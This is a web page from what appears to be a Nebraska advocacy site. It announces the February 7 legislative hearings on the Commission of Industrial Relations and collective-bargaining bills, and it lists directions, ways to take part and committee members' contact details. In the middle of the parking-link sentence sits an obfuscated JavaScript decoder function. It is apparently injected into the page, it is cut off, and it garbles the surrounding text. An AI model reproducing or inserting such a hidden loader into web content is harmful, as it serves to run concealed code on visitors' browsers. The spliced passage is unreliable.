Important Informaton on CIR Hearings for Monday Feb 7!

All nine pieces of legislation pertaining to Nebraska’s Industrial Relations and State Employee Collective Bargaining Acts, and therefore, of course, the CIR (Commission of Industrial Relations) are scheduled for hearings tomorrow, Monday, February 7, before the Legislature's Business and Labor Committee.

It is very important that Nebraskans let our legislators know where we stand; personnel costs are the single highest administrative expense in government and Nebraska's current policies are inflating budgets at the State, county, and local levels.

Details:

Hearings Start at 1:30pm (see important note below)

Room 1524

State Capitol, 1445 K St., Lincoln

If you are unfamiliar with the downtown area and would like a map to the Capitol, click HERE.

Parking at the Capitol can be tricky, so if you would like to park in a downtown garage, click function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandgo.org/find-parking/parking-maps/">HERE for a map of the ramps.

If you would like a map of the Capitol's exterior, click HERE.

Finally, we've loaded up a map of the Capitol interior with the hallway highlighted where Room 1524 is located. Click HERE or on embedded image to the left.

If you lose your way in the Capitol, go to the information desk located on Level 1 at the intersection of the hallways and someone will help you.

**EVEN IF YOU WORK DURING THE DAY, YOU MAY STILL BE ABLE TO ATTEND SOME PORTION OF THE HEARINGS**

For updates on the hearings, look for this widget on the GiN front page

New information we have received in the past few days helps us understand how Monday's hearing schedule is likely to go. Reportedly, the nine pieces of legislation are being heard in an order such that Senator Fulton's LB564 should occur approximately in the middle and Senator Nelson's LB664 and LR29CA are likely to occur last.

Even if you have to work on Monday, there is a good chance that you will be able to attend some portion of the hearings.

This is obviously important for those who support Senator Nelson's bills as their order is very likely to occur later in the day, perhaps even in the evening.

If you would like a quick way to check status of tomorrow's hearing throughout the day, you can visit the front page of the GiN website, just look for the widget box, as pictured on the left, in the far left sidebar. If you have a Twitter account, you can follow me directly there.

I'm going to do my best to provide updates with my cell phone, by reporting periodically which bill is being heard.

We have prepared a printable flyer on the issue and regarding the hearings, which is embedded as image below, and linked to a viewable and printable PDF. Following the hearings, we will be editing the flyer, taking out the hearing information, to make it useful for encouraging people to contact the members of the Business and Labor Committee and their own Senators.

View, download and print the flyer by clicking HERE

OR

Click HERE to download directly

What you can do to have an impact on this issue:

• Share this article via email, printing out, or other tools (see buttons at the bottom) with as many people you know who are concerned about government spending at all levels. Can you think of at least five?

• Try to attend Monday's hearings for at least some period of time or try to find someone who can come in your place.

• We are going to have stickers available that are simple, but send the message that collective bargaining for public employees should end in Nebraska. If you support Senator Nelson's LB664 and LR29CA, please find someone handing out stickers, hopefully stationed near the hearing room door. With nine pieces of legislation, it makes it more difficult for Senators to understand which action people in attendance support.

• If you can help tomorrow, we could use a few volunteers. Since the hearings are scheduled during the work day, we are short-handed.

• If possible, bring a written statement noting which bills you support, addressed to the Business and Labor Committee, to the hearings. If we have enough volunteers, we will collect them. It is best to bring 15 copies, so that there are enough copies for the Committee members and the clerks.

• If you need additional information about the issue, we have published several articles on the subject. IF we have time, we will post bullet points here.

• If possible, edit your statement slightly, addressed directly to your Senator and deliver it personally to their office. (Go to the Capitol information desk for help locating it, if needed.) If you need to find out more information about your Senator, please click HERE.

• We are going to try to post a couple of example statements here IF we have time. If you prepare a statement and would like to share your example with others, please do so by copying and pasting it into the comment box.

• Write a Letter to the Editor of your local newspaper on the topic. Well written letters do get printed and they do get read. Consider calling into your favorite local talk radio show.

• Return to the GiN site for updates following the hearings and prepare to make follow up contacts with Committee members and your own Senator.

• Continue letting others know; look here in future for an updated flyer you can share.

If you cannot attend the hearings - you can still have an impact:

• Sharing this information with others via the buttons below. Encourage them to take the actions noted, below.

• Write a letter to the members of the Business and Labor Committee as soon as possible after the hearings occur, sending by email or regular mail OR make phone calls. Their contact information is included, below.

• Write a letter to your own Senator encouraging them to support action on this issue; request that they let the members of the Business and Labor Committee they need to vote LB564, LB664, and LR29CA out to the Legislature floor for debate and a vote.

• Write a Letter to the Editor of your local newspaper on the topic and call into local talk radio.

Business and Labor Committee
Phone: (402) 471-2623
Address: Room 2000, State Capitol, Lincoln NE 68509

Chairman: Sen. Steve Lathrop (District 12)
Room #2000
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2623
Email: slathrop@leg.ne.gov

Sen. Brad Ashford (District 20)
Room #1103
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2622
Email: bashford@leg.ne.gov

Sen. Tom Carlson (District 38)
Room #1022
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2732
Email: tcarlson@leg.ne.gov
Sen. Tanya Cook (District 13)

District 13
Room #1208
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2727
Email: tcook@leg.ne.gov

Sen. Burke Harr (District 08)
Room #1115
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2722
Email: bharr@leg.ne.gov

Sen. Jim Smith (District 14)
Room #1115
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2730
Email: jsmith@leg.ne.gov

Sen. Norman Wallman (District 30)
Room #1406
P.O. Box 94604
Lincoln, NE 68509
Phone: (402) 471-2620
Email: nwallman@leg.ne.gov